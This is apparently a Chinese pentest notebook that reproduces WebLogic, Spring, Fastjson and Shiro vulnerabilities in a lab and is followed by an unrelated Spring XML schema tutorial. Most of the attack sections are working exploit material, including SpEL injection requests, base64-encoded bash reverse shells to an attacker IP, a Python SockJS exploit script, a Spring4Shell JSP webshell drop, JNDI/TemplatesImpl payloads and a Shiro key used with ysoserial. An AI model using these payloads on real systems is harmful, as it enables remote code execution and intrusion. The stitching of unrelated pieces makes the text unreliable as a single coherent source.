yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=利用工具進行解密https://github.com/TideSec/Decrypt_Weblogic_Password
Oracle@123
淺淺總結下,weblogic特征404頁面。/console可訪問登陸,進后臺管理可以通過war包上傳getshell,有xmldecode反序列化和T3協議反序列化,存在SSRF漏洞打內網漏洞
spring框架Spring是一個輕量級Java開發框架,最早有Rod Johnson創建,目的是為了解決企業級應用開發的業務邏輯層和其他各層的耦合問題。它是一個分層的JavaSE/JavaEE full-stack(一站式)輕量級開源框架,為開發Java應用程序提供全面的基礎架構支持。Spring負責基礎架構,因此Java開發者可以專注于應用程序的開發。springboot框架介紹SpringBoot是一個快速開發的框架,能過快速整合第三方框架,他是如何快速整合的呢?其實他是的基本原來是Maven依賴關系,Maven的集成,完全采用注解化,簡化XML配置,內嵌HTTP服務器(Tomcate,jetty),默認嵌入Tomcat,最終以Java應用程序進行執行。SpringBoot與SpringCloud 的區別?SpringCloud一套目前完整的微服務解決框架,功能非常強大,注冊中心,客戶端調用工具,服務治理(負載均衡,斷路器,分布式配置中心,網管,消息總線等
這里直接上工具掃就行https://github.com/AabyssZG/SpringBoot-Scan工具使用 python3 SpringBoot-Scan.py -u "http://192.168.48.133:8080/" 信息泄露 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/" 漏洞利用
影響版本Spring Security OAuth 2.3到2.3.2Spring Security OAuth 2.2到2.2.1Spring Security OAuth 2.1到2.1.1Spring Security OAuth 2.0到2.0.14payloadadminadminhttp://192.168.48.133:8080/oauth/authorize?response_type=${3*3}&client_id=acme&scope=openid&redirect_uri=http://test
response_type參數值會被當做Spring SpEL來執行反彈shellbash -i >& /dev/tcp/your-ip/port 0>&1base64反彈shellbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}payload生成腳本
message=input('Enter message to encode:')
poc='${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc +='.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc +=')}'
print(poc)
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}替換response_type值發包
反彈shell成功
Spring WebFlow 是一個適用于開發基于流程的應用程序的框架(如購物邏輯),可以將流程的定義和實現流程行為的類和視圖分離開來。在其 2.4.x 版本中,如果我們控制了數據綁定時的field,將導致一個SpEL表達式注入漏洞,最終造成任意命令執行。影響版本Spring WebFlow 2.4.0 - 2.4.4http://192.168.48.133:8080/hotels/1
這里有默認的賬號密碼
登陸后
點擊confirm抓包
漏洞觸發點在這里payload構造&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>&+/dev/tcp/192.168.48.144/6665+0>&1")).start()=vulhub
反彈shell成功
漏洞原理Spring-data-rest服務器在處理PATCH請求時,攻擊者可以構造惡意的PATCH請求并發送給spring-date-rest服務器,通過構造好的JSON數據來執行任意Java代碼
payload其中數字的構造payload=b'touch /tmp/success'bytecode=','.join(str(i) for i in list(payload))print(bytecode)
PATCH/customers/1HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
反彈shellbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,81,52,76,106,69,48,78,67,56,50,78,106,89,49,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125記得修改Content-Type: application/json-patch+json
反彈shell成功
影響版本Spring Framework 5.0 to 5.0.4Spring Framework 4.3 to 4.3.14EXP利用
#!/usr/bin/env python3import requestsimport randomimport stringimport timeimport threadingimport loggingimport sysimport json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):letters=string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):def init(self, url, args, **kwargs): super().init(args, *kwargs) self.base=f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon=True self.session=requests.session() self.session.headers={ 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' } self.t=int(time.time()1000)
def run(self): url=f'{self.base}/htmlfile?c=_jp.vulhub' response=self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5)
def send(self, command, headers, body=''): data=[command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n') data.append(body) data.append('\x00') data=json.dumps([''.join(data)])
response=self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code !=204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.")
def del(self): self.session.close()
sockjs=SockJS('http://你的靶機IP:8080/gs-guide-websocket')sockjs.start()time.sleep(1)
sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'})sockjs.send('subscribe', {'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali監聽端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})','id': 'sub-0','destination': '/topic/greetings'})
data=json.dumps({'name': 'vulhub'})sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'}, data)
反彈shell成功
Spring Data是一個用于簡化數據庫訪問,并支持云服務的開源框架,Spring Data Commons是Spring Data下所有子項目共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表達式注入漏洞,攻擊者可以注入惡意SpEL表達式以執行任意命令python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/"
POST /users?page=&size=5 HTTP/1.1Host: 192.168.48.133:8080Connection: keep-aliveContent-Length: 129Pragma: no-cacheCache-Control: no-cacheOrigin: http://192.168.48.133:8080Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8Referer: http://192.168.48.133:8080/users?page=0&size=5Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch whoami.sh")]=&password=&123repeatedPassword=123
python啟動http.serverpython -m http.server 8888
bash -i >& /dev/tcp/192.168.48.144/6665 0>&1
payloadusername#this.getClass().forName("java.lang.Runtime").getRuntime().exec('wget [http://192.168.48.144:8888/whoami6.sh')]=&password=&123repeatedPassword=123]=&password=&123repeatedPassword=123)這里bash反彈成功了 ./執行未成功
漏洞說明2022年3月1日,VMware官方發布漏洞報告,在使用Spring Colud Gateway的應用程序開啟、暴露Gateway Actuator端點時,會容易造成代碼注入攻擊,攻擊者可以制造惡意請求,在遠程主機進行任意遠程執行。影響版本
python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/"
POST /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 310
{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com"}
發送如下數據包觸發表達式執行
POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
GET /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
發送如上數據包查看結果
漏洞說明 2022年3月,Spring Cloud 官方修復了一個 Spring Cloud Function中的 SPEL 表達式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 類的 apply 方法將請求頭中的 “spring.cloud.function.routing-expression” 參數作為SpEL表達式進行處理,造成了SpEL表達式注入漏洞,攻擊者可利用該漏洞遠程執行任意代碼。漏洞利用手工復現
POST /functionRouter HTTP/1.1Host: 192.168.68.168:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}")Content-Type: text/plainContent-Length: 6
Test
漏洞說明Spring framework 是Spring 里面的一個基礎開源框架,其目的是用于簡化 Java 企業級應用的開發難度和開發周期,2022年3月31日,VMware Tanzu發布漏洞報告,Spring Framework存在遠程代碼執行漏洞,在 JDK 9+ 上運行的 Spring MVC 或 Spring WebFlux 應用程序可能容易受到通過數據綁定的遠程代碼執行 (RCE) 的攻擊。
/tomcatwar.jsp?pwd=aabysszg&cmd=whoami
手工復現GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=HTTP/1.1Host: 192.168.48.133:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1Content-Length: 2http://192.168.48.133:8080/tomcatwar.jsp?pwd=j&cmd=id
漏洞說明當SpringSecurity中使用RegexRequestMatcher進行權限配置,且規則中使用帶點號的正則表達式時,未經授權的遠程攻擊者可通過構造惡意數據包繞過身份認證,導致配置的權限驗證失效
/admin/%0dtest
/admin/%0atest
spring漏洞總結spring框架存在敏感信息泄露漏洞,headdump泄露可能回泄露數據庫密碼等敏感數據,同時有許多的spel表達式注入漏洞,可以導致遠程命令執行,還有身份認證繞過漏洞
fastjson 是一個 有阿里開發的一個開源Java 類庫,可以將 Java 對象轉換為 JSON 格式(序列化),當然它也可以將 JSON 字符串轉換為 Java 對象(反序列化)。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象
fastjson在解析json的過程中,支持使用autoType來實例化某一個具體的類,并調用該類的set/get方法來訪問屬性。通過查找代碼中相關的方法,即可構造出一些惡意利用鏈。fastjson漏洞利用過程編譯一個惡意類,啟動RMI服務,構造fastjson payload加載遠程類,達到命令執行的目的。漏洞復現首先要配置好marshalsec.jar該工具是java反序列化工具,可以快速開啟RMI和LDAP服務mvn編譯,建議環境JAVA1.8,maven3.6+proxychains4 git clone https://github.com/mbechler/marshalsec.gitmvn clean package -DskipTests
import java.lang.Runtime;
import java.lang.Process;
public class test{
static {
try {
Runtime rt=Runtime.getRuntime();
String[] commands={ "/bin/sh", "-c", "ping user.`whoami`.ivg4na.dnslog.cn"};
Process pc=rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
javac test.javayakit啟動dnslog
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.48.144:9999/#test" 6666
整體流程1@type 指向com.sun.rowset.JdbcRowSetImpl類該類其中有個dataSourceName方法支持傳入一個rmi的源,只要解析其中的url就會支持遠程調用
2遠程訪問我們啟動的rmi服務器,rmi服務器請求加載遠程服務器的class,這個class就是我們提前編譯上傳到服務器的惡意class
3.rmi將遠程加載得到的class返回給靶機服務器,靶機服務器執行代碼
反彈shell的利用這里利用JNDI工具bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}-C為命令 -A為攻擊機IPjava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.48.144"
這里用JDK1.7的成功打通,反彈shellrmi://192.168.48.144:1099/g8gp2e
fastjson不出網的話我們就沒有辦法利用這個rmi服務進行遠程加載惡意類了本地搭建環境TemplatesImpl打法利用條件苛刻服務端使用parseObject時,必須使用如下格式才能觸發漏洞JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)服務端使用parse()時,需要JSON.parse(text1,Feature.SupportNonPublicField)
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
Templateslmplcmd.Java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Templateslmplcmd extends AbstractTranslet {
public Templateslmplcmd() throws Exception {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}
import java.io.*;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.util.Base64;
public class test01 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile=new FileInputStream("E:\\JAVASEC\\test02\\src\\main\\java\\Templateslmplcmd.class");
byte[] bs=new byte[inputFromFile.available()];
inputFromFile.read(bs);
String encodedBytes=Base64.getEncoder().encodeToString(bs);
//<=1.2.24
String payload="{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
+ " \"_bytecodes\": [\r\n"
+ " \""+encodedBytes+"\"\r\n"
+ " ], \r\n"
+ " \"_name\": \"aaa\", \r\n"
+ " \"_tfactory\": { }, \r\n"
+ " \"_outputProperties\": { }\r\n"
+ " }\r\n"
+ "}";
//<1.2.48
// payload="{\r\n"
// + " \"a\": {\r\n"
// + " \"@type\": \"java.lang.Class\", \r\n"
// + " \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\r\n"
// + " }, \r\n"
// + " \"b\": {\r\n"
// + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
// + " \"_bytecodes\": [\r\n"
// + " \""+encodedBytes+"\"\r\n"
// + " ], \r\n"
// + " \"_name\": \"aaa\", \r\n"
// + " \"_tfactory\": { }, \r\n"
// + " \"_outputProperties\": { }\r\n"
// + " }\r\n"
// + "}";
System.out.println(payload);
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
BCEL不出網打法C3P0二次反序列化打法等等可參考https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md
shiro漏洞原理介紹shiro的特征的是rememberMe字段rememberMe字段采用的是AES加密+base64編碼采用AES加密我們拿到KEY的話就可以解密,服務端會進行base64解碼+AES解密進行反序列化,那么拿到KEY便可以進行修改rememberMe的值進行反序列化攻擊
CVE-2016-4437,影響版本shiro1.24如果未勾選 Remember me,則只能在返回包里看見
勾選可看
這里是先用工具爆破密鑰
手工復現,更容易理解漏洞過程key如下kPH+bIxk5D2deZiIxcaaaA==參考網上公開代碼如下:::infoimport uuidimport base64from Crypto.Cipher import AES
def encode_rememberme(): f=open('poc.ser','rb') BS=AES.block_size pad=lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key=base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv=uuid.uuid4().bytes encryptor=AES.new(key, AES.MODE_CBC, iv) file_body=pad(f.read()) base64_ciphertext=base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if name=='main': payload=encode_rememberme() print("rememberMe={0}".format(payload.decode())):::反彈shell利用bash -i >& /dev/tcp/192.168.48.144/6668 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE=java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
cookie修改發包
反彈shell成功
漏洞描述使用 Apache Shiro 進行身份驗證、權限控制時,可以精心構造惡意的URL,利用Apache Shiro 和 Spring Boot 對URL的處理的差異化,可以繞過Apache Shiro 對 Spring Boot 中的 Servlet的權限控制,越權并實現未授權訪問。漏洞影響版本
漏洞復現payload /xxx/..;/admin/ 越權訪問后臺管理系統
bypasswaf可參考如下文章http://120.79.21.98:8090/archives/shirobypass
面試遇見過的問題,除了問shiro反序列化漏洞原理有時候也會問到這個點其實還是有鏈子的,鏈子多的話,通過爆破利用鏈,完成漏洞利用。環境搭建docker pull medicean/vulapps:s_shiro_1docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
自從SpringBoot時代的到來,去除了Spring的各種繁瑣的XML配置,讓我們可以騰出雙手以便于更加專注地搬磚。 記得那時候剛學Spring的時候,每天被Spring的各種XMl配置文件折磨得不行,每引入一個新的框架,最擔心的就是jar沖突、哪個配置文件又配的不對、配置文件沒有起作用。所以每次搭建好一個項目就把配置文件用小筆記記錄下來, 方便下次在整合項目的時候直接copy復制就好。下面我們就以Spring整合dubbo的事例看下
<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://dubbo.apache.org/schema/dubbo"
xmlns="http://www.springframework.org/schema/beans"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd">
<dubbo:application name="demo-provider"/>
<dubbo:registry address="zookeeper://127.0.0.1:2181"/>
<dubbo:protocol name="dubbo" port="20890"/>
<bean id="demoService" class="org.apache.dubbo.samples.basic.impl.DemoServiceImpl"/>
<dubbo:service interface="org.apache.dubbo.samples.basic.api.DemoService" ref="demoService"/>
</beans>
上述代碼中我們有看到dubbo自定義了一套自己的標簽,dubbo:application ,dubbo:registry ,dubbo:protocol,dubbo:service 我們心中是不是有點小疑問:這些標簽在Spring項目啟動的時候是如何被Spring管理的?是怎樣被Spring來識別的? 如果我們自己隨便定義一個標簽Spring是否能夠識別?我們去翻翻Spring的官網發現這玩意其實就是Spring提供的 XML schema 的擴展支持。只要按照它的步驟來,我們就可以配置任何我們自定義的標簽。XML schema 擴展機制是什么?這個也許好多人沒聽過:
★
Spring 為基于 XML 構建的應用提供了一種擴展機制,用于定義和配置 Bean。 它允許使用者編寫自定義的 XML bean 解析器,并將解析器本身以及最終定義的 Bean 集成到 Spring IOC 容器中。
”
我們可以看看官網https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#xml-custom 10.2. XML Schema Authoring 這個是主要介紹它的。
官網有介紹,要實現一個自定義的XML Schema 總共需要4步:
★ 編寫一個 XML schema 文件描述的你節點元素。編寫一個 NamespaceHandler 的實現類編寫一個或者多個 BeanDefinitionParser 的實現 (關鍵步驟).注冊上述的 schema 和 handler。 ”
既然只要按照這四步來,那我們就照著這個文檔來自己實現一個。
編寫一個javajr.xsd 放入項目的resources/META-INF文件夾里面(這個也可以是其他路徑)
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:beans="http://www.springframework.org/schema/beans"
xmlns:tool="http://www.springframework.org/schema/tool"
xmlns="https://www.javajr.cn/schema/javajr"
targetNamespace="https://www.javajr.cn/schema/javajr">
<xsd:import namespace="http://www.springframework.org/schema/beans"/>
<xsd:element name="application">
<xsd:complexType>
<xsd:complexContent>
<xsd:extension base="beans:identifiedType">
<xsd:attribute name="website" type="xsd:string" use="required"/>
<xsd:attribute name="weixin" type="xsd:string" use="required"/>
</xsd:extension>
</xsd:complexContent>
</xsd:complexType>
</xsd:element>
</xsd:schema>
package org.spring.demo.schema;
import org.springframework.beans.factory.xml.NamespaceHandlerSupport;
public class MyNamespaceHandler extends NamespaceHandlerSupport {
@Override
public void init() {
// 這個名字也不是隨便取的,上面編寫xsd的根節點元素的name, <xsd:element name="application">
registerBeanDefinitionParser("application", new MyBeanDefinitionParser());
}
}
這個NamespaceHandler 就是將一個 XML 節點解析成 IOC 容器中的一個實體類。也就是說相當于在xml里面的配置的對象,通過Spring ioc 容器管理起來了
package org.spring.demo.schema;
import org.spring.demo.domain.JavajrDomain;
import org.springframework.beans.factory.support.BeanDefinitionBuilder;
import org.springframework.beans.factory.xml.AbstractSingleBeanDefinitionParser;
import org.springframework.util.StringUtils;
import org.w3c.dom.Element;
public class MyBeanDefinitionParser extends AbstractSingleBeanDefinitionParser {
@Override
protected Class<?> getBeanClass(Element element) {
return JavajrDomain.class;
}
@Override
protected void doParse(Element element, BeanDefinitionBuilder bean) {
// this however is an optional property
String website = element.getAttribute("website");
if (StringUtils.hasText(website)) {
bean.addPropertyValue("website",website);
}
String weiXin = element.getAttribute("weixin");
if (StringUtils.hasText(weiXin)) {
bean.addPropertyValue("weixin",weiXin);
}
}
}
上面在這個實現類只是簡單的做了一個賦值操作,你如果需要有自己的邏輯業務也可以自行來實現。上面還有一個JavajrDomain這個實體類就不貼代碼,就一個簡單的javabean里面包含了兩個屬性weixin和website。
最后在resources/META-INF目錄下添加兩個配置文件(spring.handler和spring.schema):
https\://www.javajr.cn/schema/javajr=org.spring.demo.schema.MyNamespaceHandler
https\://www.javajr.cn/schema/javajr.xsd=META-INF/javajr.xsd
在這個地方的時候我們其實可以以版本號來進行命名,方便我們可以使用多個不同的版本,Spring-beans 就是這么玩的。
測試自定義schema
public static void main(String[] args) {
ApplicationContext ctx = new ClassPathXmlApplicationContext("classpath:applicationContext.xml");
JavajrDomain bean = ctx.getBean(JavajrDomain.class);
System.out.println(bean.toString());
}
我們可以看到控制臺輸出
JavajrDomain{weixin='javajr8', website='javajr.cn'}
在文章開始的時候我們有介紹dubbo 自定義的XML schema ,下面我們一起打開dubbo源碼看看它是如何來實現的,看下面這個截圖,也是按照那四步來的。
現在有了SpringBoot 之后以前用這個 XML schema配置的框架,大多數都會有對應的starter來進行封裝,starter的使用比起 XML schema的使用還是簡單多了,開箱即用,無需編寫很多的配置文件。如果不是很清楚SpringBoot的starter的推薦去看看這兩篇文章《面試高頻題:springBoot自動裝配的原理你能說出來嗎?》《保姆級教程,手把手教你實現一個SpringBoot的starter》。
雖然現在XML schema 擴展用得不多了,但是應該也還有比較老的項目在使用吧,如果還是比較老的項目,需要引入一個什么樣的框架,我們至少需要知道需要怎么去引入,網上雖然有很多文章可以借鑒,但是我們也應該知其然知其所以然。而不是直接把配置文件單純的copy過來。我們應該知道為啥需要copy這個xsd,為什么沒有這個xsd ,idea不易識別會報錯。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。